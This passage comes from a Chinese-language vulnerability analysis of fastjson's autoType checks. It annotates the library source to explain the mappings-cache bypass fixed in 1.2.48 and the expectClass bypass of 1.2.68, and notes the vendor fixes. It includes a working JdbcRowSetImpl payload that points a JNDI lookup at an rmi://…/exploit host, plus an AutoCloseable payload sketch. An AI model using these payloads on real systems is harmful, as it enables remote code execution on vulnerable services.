parser.accept(JSONToken.RBRACE);

} else {
// 非 TypeNameRedirect:就按普通值解析一份
objVal = parser.parse();
}

// =========================
// 把 objVal 规整为字符串(大多数目标类型从字符串构造)
// =========================
String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
// 如果原始值是个 JSONObject,而且目标类型是某些特殊类型,就在这里“对象转对象”
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject) objVal;

// 特例 [...]

// 其他对象:交给 fastjson 的对象到 JavaBean 转换
return jsonObject.toJavaObject(clazz);
}

// 走到这里,既不是字符串也不是 JSONObject,以当前实现只接受字符串 → 报错
throw new JSONException("expect string");
}

// [...]

// =========================
// 【关键】当目标类型就是 Class.class:
// 把 strVal 当作“类全名”去加载(例如 "java.lang.String" → String.class)
// =========================
if (clazz == Class.class) {
// 这里调用的是 TypeUtils.loadClass(String, ClassLoader) 双参重载。
// 在这些 fastjson 版本中,该重载内部会以 cache=true 的方式去加载,
// 从而把类名写入全局缓存 TypeUtils.mappings。
// 这正是历史漏洞链里的“先写缓存”的关键一步。
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

// [...]
}

deserialze 函数如果判断 parser.resolveStatusDefaultJSONParser.TypeNameRedirect 那么会解析后面的 val 键对应的值到 objVal,这里也就是我们传入的 com.sun.rowset.JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Object objVal;

// 【关键】当上游因为遇到 "@type" 把 resolveStatus 设为 TypeNameRedirect 时,
// 这里按照“固定协议”读取紧随其后的 `"val": <真正的值>`。
// 典型用法:{"@type":"java.lang.Class","val":"com.xxx.YourClass"}
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
// 这个状态只消费一次,用完即清
parser.resolveStatus = DefaultJSONParser.NONE;

// 期望一个逗号,把流从 "@type" 移到下一个键(通常是 "val")
parser.accept(JSONToken.COMMA);

// 强制要求接下来是字符串键名,且必须等于 "val"
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error"); // 不是 "val" 就报语法错
}
lexer.nextToken(); // 吃掉这个键名 token
} else {
throw new JSONException("syntax error"); // 不是字符串键名 → 报错
}

// 必须出现冒号 ':'
parser.accept(JSONToken.COLON);

// 解析 "val" 对应的值(可能是字符串、对象等)
objVal = parser.parse();

// 最后必须以 '}' 结束这个对象
parser.accept(JSONToken.RBRACE);

}

随后这个值会被解析为字符串 strVal

1
2
3
if (objVal instanceof String) {
strVal = (String) objVal;
}

@type 的值为 java.lang.Class 时会调用 com.alibaba.fastjson.util.TypeUtils#loadClass 加载类,其中参数 className 的值就是我们设置的 com.sun.rowset.JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
10
11
// =========================
// 【关键】当目标类型就是 Class.class:
// 把 strVal 当作“类全名”去加载(例如 "java.lang.String" → String.class)
// =========================
if (clazz == Class.class) {
// 这里调用的是 TypeUtils.loadClass(String, ClassLoader) 双参重载。
// 在这些 fastjson 版本中,该重载内部会以 cache=true 的方式去加载,
// 从而把类名写入全局缓存 TypeUtils.mappings。
// 这正是历史漏洞链里的“先写缓存”的关键一步。
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

com.alibaba.fastjson.util.TypeUtils#loadClass 函数逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

/**
* 根据类名加载 Class,并可选择性地写入全局缓存 TypeUtils.mappings。
* @param className 类名;既可能是完全限定名(如 "java.lang.String"),
* 也可能是 JVM 描述符风格(如 "[Ljava.lang.String;" 或 "Ljava.lang.String;")
* @param classLoader 优先使用的类加载器;为 null 时走 TCCL / Class.forName 兜底
* @param cache 是否把加载结果写入全局缓存 mappings(但最后一个分支会无视这个开关,见下)
*/
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 1) 空字符串/空指针保护
if(className == null || className.length() == 0){
return null;
}

// 2) 先查全局缓存 TypeUtils.mappings(ConcurrentHashMap)
// 命中则直接返回,避免重复加载
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}

// 3) 处理数组描述符(以 '[' 开头的 JVM 描述符)
// 例如 "[Ljava.lang.String;"、"[[I" 等
if(className.charAt(0) == '['){
// 去掉一个 '[',递归加载“组件类型”
// 【注意】这里调用的是双参重载 loadClass(String, ClassLoader),
// 该重载内部会默认传 cache=true → 组件类型会被写入 mappings。
Class<?> componentType = loadClass(className.substring(1), classLoader);
// 根据组件类型构造一个 0 长度数组的 Class 对象返回
return Array.newInstance(componentType, 0).getClass();
}

// 4) 处理 "L...;" 的 JVM 描述符:去掉首尾的 'L' 和 ';'
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
// 同上,调用双参重载 → 默认 cache=true
return loadClass(newClassName, classLoader);
}

try{
// 5) 优先使用调用方提供的 classLoader
if(classLoader != null){
clazz = classLoader.loadClass(className);
// 根据实参 cache 决定是否写入全局缓存
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace(); // 【注意】打印堆栈:可能造成日志噪音/信息泄露风险(生产环境通常不建议)
// skip
}

try{
// 6) 退而求其次:使用当前线程的 ContextClassLoader(TCCL)
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
// 同样受 cache 参数控制是否写入 mappings
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

try{
// 7) 最后兜底:使用 Class.forName
clazz = Class.forName(className);
// 【关键】这里不看 cache 参数,**无条件**写入 mappings!
// → 即使调用方传 cache=false,这个分支仍会把类名放进全局缓存。
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}

// 8) 若所有路径都失败,返回(此时为 null)
return clazz;
}

首先我们调用的 loadClass(String className, ClassLoader classLoader) 实际上是对 loadClass(String className, ClassLoader classLoader, boolean cache) 的一个封装,并且默认传入的 cache 值为 true

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

因此在后续会将我们传入的类名以及对应的类会被放入 com.alibaba.fastjson.util.TypeUtils#mappings 中。(由于 com.alibaba.fastjson.parser.ParserConfig#defaultClassLoader 默认为 null,因此通常走的是下面这个分支)

1
2
3
4
5
6
7
8
9
10
// 6) 退而求其次:使用当前线程的 ContextClassLoader(TCCL)
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
// 同样受 cache 参数控制是否写入 mappings
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}

由于我们已经在 com.alibaba.fastjson.util.TypeUtils#mappings 中放入了我们要加载的 com.sun.rowset.JdbcRowSetImpl,因此我们可以通过构造下面这个 payload 使得后续再加载 com.sun.rowset.JdbcRowSetImpl 完成利用。

1
2
3
4
5
6
7
8
9
10
11
{
"aaa":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"bbb":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}
}

加载 com.sun.rowset.JdbcRowSetImpl 时会调用 com.alibaba.fastjson.parser.ParserConfig#checkAutoType 进行检测,该函数关于 com.alibaba.fastjson.util.TypeUtils#mappings 存在绕过问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// 核心问题是“先命中缓存/反序列化器就 return”导致黑/白名单被绕过。
// 另有一处“黑名单命中仅在 mappings 无缓存时才抛异常”的条件,造成配合缓存写入即可通杀。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 1) 基本入参校验:类型名为空直接返回 null
if (typeName == null) {
return null;
}

// 2) 类型名长度限制(<3 或 ≥128 直接拒绝)
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

// 3) 标准化:将内部类分隔符 '$' 替换为 '.'
String className = typeName.replace('$', '.');
Class<?> clazz = null;

// 4) FNV-1a 风格的滚动哈希常量
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

// 5) h1:用于快速检测首字符模式(如数组/签名形式)
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // '[' 的哈希(数组类型,例如 "[Ljava.lang.String;")
throw new JSONException("autoType is not support. " + typeName);
}

// 6) 检查 "L...;" 这种签名形式(形如 JVM 描述符),直接拒绝
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

// 7) 预计算前三个字符的滚动哈希起点,后续在循环中滚动累加
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

// 8) 若全局 autoTypeSupport 开启,或存在期望类型(expectClass ≠ null),
// 先跑一轮“白名单→黑名单”的哈希匹配。
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;

// 8.1 命中白名单:尝试加载类(cache=false 不写入 mappings),成功即返回
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz; // ✅ 白名单直接放行
}
}

// 8.2 命中黑名单:仅当 mappings 中“没有该类缓存”时才抛异常
// 【漏洞点#1】黑名单 + (mappings==null) 才抛;若攻击者先把类名写进 mappings,就不会抛异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
// 否则继续循环(未立即拒绝)
}
}

// 9) 尝试从全局缓存 mappings 取类
// 【漏洞点#2】【关键短路】若此处取到类,后面的黑/白名单检查都不会再执行(见下方 return 流程)
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

// 10) 尝试从已注册的反序列化器表 deserializers 中查类名(很多常见类型预置在这里)
// 例如 Class.class 在初始化期就会放进 deserializers;命中则也会短路
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

// 11) 一旦在 9/10 步找到 clazz,先做期望类型校验,然后“直接返回”
// 【漏洞点#3】这就是“缓存/反序列化器优先”的致命短路:绕开了后续对 deny/accept 的严格检查
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz; // ✅ 提前返回 → 后面的黑/白名单逻辑不会再执行
}

// [...]
}

首先如果我们加载的类出现在黑名单中,则如果这个类同时也出现在 mappings 中,则不会报错。

1
2
3
4
5
// 8.2 命中黑名单:仅当 mappings 中“没有该类缓存”时才抛异常
// 【漏洞点#1】黑名单 + (mappings==null) 才抛;若攻击者先把类名写进 mappings,就不会抛异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}

之后在通过黑名单检测后,调用 com.alibaba.fastjson.util.TypeUtils#getClassFromMapping 获取 typename 对应的类。

1
2
3
4
5
// 9) 尝试从全局缓存 mappings 取类
// 【漏洞点#2】【关键短路】若此处取到类,后面的黑/白名单检查都不会再执行(见下方 return 流程)
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

getClassFromMapping 实际上就是从 mappings 中获取类。

1
2
3
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}

最后查询到的类会被正常返回,至此绕过了黑名单的检测。

1
2
3
4
5
6
7
8
9
10
// 11) 一旦在 9/10 步找到 clazz,先做期望类型校验,然后“直接返回”
// 【漏洞点#3】这就是“缓存/反序列化器优先”的致命短路:绕开了后续对 deny/accept 的严格检查
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz; // ✅ 提前返回 → 后面的黑/白名单逻辑不会再执行
}

官方在 1.2.48 对该漏洞进行了修复:

  • MiscCodec 处理 Class 类的地方,设置了cachefalse

    1
    2
    3
    if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
    }
  • 并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

    1
    2
    3
    public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, false);
    }

expectClass 绕过(1.2.68)

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 如果已经根据前面的映射/白名单/加载流程拿到了要使用的 Class(clazz 非空)
if (clazz != null) {

// 若调用方提供了“期望类型”(expectClass),并且:
// 1) 本次实际解析出来的类型不是 HashMap(HashMap 被当作通用容器,放宽校验)
// 2) 且 实际类型 clazz 并不是 期望类型 expectClass 的子类/实现(即两者不兼容)
// —— 注意:A.isAssignableFrom(B) 为 true 表示 “B 可以赋值给 A”,也就是 B 是 A 的子类/实现
// —— 这里取反(!isAssignableFrom)表示“不兼容”,需要拦截
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
// 类型不匹配,直接抛出异常,给出实际类型和期望类型的提示
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

// 能走到这里,说明:
// - 没有期望类型,或
// - ✅有期望类型且兼容(clazz 是 expectClass 的子类/实现),或
// - 虽不兼容但 clazz 是 HashMap(作为通用容器被放过)
// 满足任一条件都返回解析得到的 Class
return clazz;
}

提示

1.2.69 版本开始用一个白名单限制 expectClass 的范围:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

如果 expectClass 不在上述白名单范围则 expectClassFlag = true,同样会接受黑名单校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}

throw new JSONException("autoType is not support. " + typeName);
}
}
}

接下来我们找一下调用 checkAutoType()expectClass 可控的方法,最终找到了以下几个类:

  • com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze()
  • com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze()

ThrowableDeserializer

ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClassThrowable.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 如果当前解析到的 key 就是 Fastjson 约定的类型标记 "@type"
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
// 期望 "@type" 的值必须是一个“字符串字面量”(类的全限定名)
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 读取该字符串,得到“异常子类”的类名
String exClassName = lexer.stringVal();

// 关键点:带着“期望类 = Throwable.class”去做 autoType 检查与加载
// 这会调用 ParserConfig#checkAutoType(exClassName, Throwable.class, features)
// 只要 exClassName 对应的类是 Throwable 的“子类/实现”,且不在黑名单,
// 就可能在 checkAutoType 的 expectClass 分支被“放行”并返回 Class。
exClass = parser.getConfig().checkAutoType(
exClassName, // 被解析出来的类名
Throwable.class, // ★ 期望类(expectClass)= Throwable
lexer.getFeatures() // 解析特性位(含 SafeMode / SupportAutoType 等)
);
} else {
// 如果 "@type" 的值不是字符串,语法不合法,直接抛错
throw new JSONException("syntax error");
}

// 消费完这个字符串 token 之后,推进到“下一个应当出现的 token”
// 这里用 nextToken(JSONToken.COMMA) 的写法,是 Fastjson 的词法器优化:
// 告诉 lexer “我期待下一个是逗号(或右花括号)”,从而高效跳转。
lexer.nextToken(JSONToken.COMMA);
}

通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Throwable ex = null;  // 准备要返回的异常对象引用

if (exClass == null) {
// 如果前面解析不到“异常的具体子类”(exClass 为 null),
// 就退化为直接创建一个最普通的 java.lang.Exception 实例,
// 把上一步解析出来的 message、cause 一并带进去。
ex = new Exception(message, cause);
} else {
// 如果指定了 exClass(也就是你在 JSON 里声明了异常子类),
// 先做一次“类型边界校验”:必须是 Throwable 的子类,否则立刻拒绝。
if (!Throwable.class.isAssignableFrom(exClass)) {
throw new JSONException("type not match, not Throwable. " + exClass.getName());
}

try {
// 关键:尝试“按需”去实例化你给的异常子类。
// 这个 createException(...) 会按“常见构造器优先级”去找最合适的构造器,
// 例如 (String, Throwable)、(String)、(Throwable)、() 等等。
ex = createException(message, cause, exClass);

// 如果一个都没匹配上(或构造失败),兜底再回退到普通 Exception
if (ex == null) {
ex = new Exception(message, cause);
}
} catch (Exception e) {
// 任何反射创建过程出错,都包装成 fastjson 的 JSONException 抛出
throw new JSONException("create instance error", e);
}
}

createException 会枚举异常类的常见构造方法,然后调用对应的构造方法实例化异常类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// 根据给定的 message、cause 和异常子类 exClass,尝试用“常见构造器”创建 Throwable 实例
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
// 这三个变量用来记录我们“发现到的”可用构造器(只记录其引用,最后再决定用谁)
Constructor<?> defaultConstructor = null; // 无参构造 ()
Constructor<?> messageConstructor = null; // 单参构造 (String)
Constructor<?> causeConstructor = null; // 双参构造 (String, Throwable)

// 只遍历“public 构造器”。注意:getConstructors() 不包括 protected/private 构造器
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();

// 命中无参构造 ()
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}

// 命中 (String) 构造
if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}

// 命中 (String, Throwable) 构造
if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}

// ★ 优先级 1:如果找到了 (String, Throwable) 构造,优先用它(信息最完整)
if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}

// ★ 优先级 2:退而求其次,使用 (String) 构造(注意:此时 cause 信息会丢失)
if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}

// ★ 优先级 3:再退,使用无参构造(message 与 cause 都会丢失)
if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}

// 如果三个常见构造器都没有(或都是非 public),返回 null 让调用方兜底
return null;
}

这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。

JavaBeanDeserializer

再来看 JavaBeanDeserializer,在 fastjson 中对大部分类都指定了特定的 deserializer,而 AutoCloseable 类没有,因此在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer 函数中,经过一系列判断最终返回的是 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer

1
2
3
4
5
6
7
8
9
10
public ObjectDeserializer getDeserializer(Class<?> clazz, Type type) {
// [...]
} else {
deserializer = createJavaBeanDeserializer(clazz, type);
}

putDeserializer(type, deserializer);

return deserializer;
}
MarshalOutputStream

具体来说我们可以构造下面这种结构的 payload:

1
2
3
4
5
{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream", // java.lang.AutoCloseable 的子类
// [...]
}

其中第一个 "@type":"java.lang.AutoCloseable" 用于获取 JavaBeanDeserializer,这部分逻辑位于 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 中。

因为 AutoCloseable 是属于 fastjson 内置的白名单中,因此 clazz = config.checkAutoType(typeName, null, lexer.getFeatures()) 这一步可以成功加载。

之后 deserializer = config.getDeserializer(clazz) 根据 AutoCloseable 获取反序列化器,感觉前面分析这里获取的是 JavaBeanDeserializer

最后调用 deserializer.deserialze(this, clazz, fieldName) 完成后续的反序列化,这就执行到了 JavaBeanDeserializer#deserialze 的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// 命中“特殊键”判断分支:当 key 等于 JSON.DEFAULT_TYPE_KEY(默认 "@type")且未禁用特殊键检测
// 进入“autoType(类型名重定向)”解析流程。
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

// 读取 @type 的字符串值(按符号表扫描),例如:"java.util.HashMap"
String typeName = lexer.scanSymbol(symbolTable, '"');

// 若启用了 IgnoreAutoType,则忽略 @type,不做类型重定向,继续按普通键值解析
if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}

Class<?> clazz = null;

// 情况 A:如果当前已经有“候选对象”且其运行时类名与 typeName 完全一致,则直接复用该类
if (object != null
&& object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {

// 情况 B:否则,为了避免把纯数字误当作类名,先检查 typeName 是否全为数字
// (有些场景 typeName 可能被写成数字 ID,此时不应当做类名解析)
boolean allDigits = true;
for (int i = 0; i < typeName.length(); ++i) {
char c = typeName.charAt(i);
if (c < '0' || c > '9') {
allDigits = false;
break;
}
}

// 仅当 typeName 非纯数字时,才进行 autoType 校验与类解析:
// config.checkAutoType(...) 会按照白/黑名单与特性位(features)判定是否允许,
// 通过后返回可用的 Class,否则抛异常或返回 null。
if (!allDigits) {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
}

// 若此时仍未解析出有效 Class,说明:
// 1) typeName 是纯数字(不参与 autoType),或
// 2) autoType 未通过/未解析到类(返回 null 且未抛异常),
// 则把 "@type": "xxx" 当作普通键值写回到 map,后续继续常规解析。
if (clazz == null) {
map.put(JSON.DEFAULT_TYPE_KEY, typeName);
continue;
}

// 走到这里:clazz 已确定。
// 读取下一个 token,期望是逗号(COMMA)或右花括号(RBRACE)等。
lexer.nextToken(JSONToken.COMMA);

// 特例:如果紧跟着就是对象结束 '}',说明该对象形如:{"@type":"xxx"}
// 这种只携带类型名、不带任何字段的对象,尝试直接“构造实例并返回”。
if (lexer.token() == JSONToken.RBRACE) {
// [...]
}

// 走到这里:说明不是“{ "@type": "xxx" }”的极简形式,
// 而是“{ "@type": "xxx", 还有其它字段... }”。
// 将解析状态切换为“类型名重定向”(TypeNameRedirect):
// 这会影响后续 parseObject(...) 的读取流程(如期待下一个 key 为 "val" 等特定约定)。
this.setResolveStatus(TypeNameRedirect);

// 解析上下文修正:
// 若当前上下文存在,且当前字段名与上下文字段名都不是 Integer(即不是数组/索引),
// 则弹出一层上下文,避免后续类型重定向解析与原上下文产生混淆。
if (this.context != null
&& fieldName != null
&& !(fieldName instanceof Integer)
&& !(this.context.fieldName instanceof Integer)) {
this.popContext();
}

// 若 object(临时承载的 JSON 对象/Map)里已经有前面解析到的字段,
// 则尝试把这些字段“投射/转换”为目标 clazz 的 JavaBean 对象,再继续解析剩余字段填充它。
if (object.size() > 0) {
// [...]
}

// 到这里:object 为空或未有有效字段。
// 取出 clazz 对应的反序列化器,基于其具体类型微调 resolveStatus:
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();

// 若反序列化器是 JavaBeanDeserializer 的“自定义子类”(非基类、非 ThrowableDeserializer),
// 或者是 MapDeserializer,则无需保留“类型名重定向”状态,恢复为 NONE。
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}

// 最终:按确定的 deserializer 去反序列化成目标类型对象并返回
Object obj = deserializer.deserialze(this, clazz, fieldName);
return obj;
}

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze 中会针对后面的 "@type":"sun.rmi.server.MarshalOutputStream" 获取对应的 typeName 然后调用 config.checkAutoType 加载类。

这里的 expectClass 的来源 type 实际上就是前面的 deserializer.deserialze(this, clazz, fieldName)clazz 参数,也就是按照第一个 @type 的值 java.lang.AutoCloseable 加载的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// 7.3.2 多态:typeKey 或 "@type"
if ((typeKey != null && typeKey.equals(key)) || JSON.DEFAULT_TYPE_KEY == key) {
lexer.nextTokenWithColon(JSONToken.LITERAL_STRING); // 读取类型名
if (lexer.token() == JSONToken.LITERAL_STRING) {
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);

// 忽略冗余类型名(就是当前类名)或全局关闭 autoType
if (typeName.equals(beanInfo.typeName) || parser.isEnabled(Feature.IgnoreAutoType)) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break; // 对象就此结束
}
continue; // 否则跳过这个键,继续读其它字段
}

// 先看 @JSONType(seeAlso=...) 是否有直达
ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName);
Class<?> userType = null;

if (deserializer == null) {
// 关键:带上“期望类型 expectClass”做 autoType 安全判定(临时白名单效应)
Class<?> expectClass = TypeUtils.getClass(type);
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}

// 将“同一个对象”的剩余部分交给“目标类型”的反序列化器去解析(类型重定向)
Object typedObject = deserializer.deserialze(parser, userType, fieldName);

// 若目标类也声明了 typeKey 字段,把真实类型名回填,保证序列化/反序列化可对称
if (deserializer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer jd = (JavaBeanDeserializer) deserializer;
if (typeKey != null) {
FieldDeserializer typeKeyField = jd.getFieldDeserializer(typeKey);
if (typeKeyField != null) {
typeKeyField.setValue(typedObject, typeName);
}
}
}
return (T) typedObject; // 多态对象构建完毕
} else {
throw new JSONException("syntax error"); // @type 后不是字符串 → 语法错误
}
}

由于 sun.rmi.server.MarshalOutputStream 实现了 java.lang.AutoCloseable 接口,因此可以通过第二次 checkAutoType() 的检测,成功加载 MarshalOutputStream 类并进入后续的实例化流程。

MarshalOutputStream

然而上述 payload 在虽然 userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures()); 这一步成功加载了 MarshalOutputStream 类,但是却在 deserializer = parser.getConfig().getDeserializer(userType); 这一步产生如下报错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class sun.rmi.server.MarshalOutputStream
at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:558)
at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:915)
at com.alibaba.fastjson.parser.ParserConfig.getDeserializer(ParserConfig.java:832)
at com.alibaba.fastjson.parser.ParserConfig.getDeserializer(ParserConfig.java:565)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:805)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
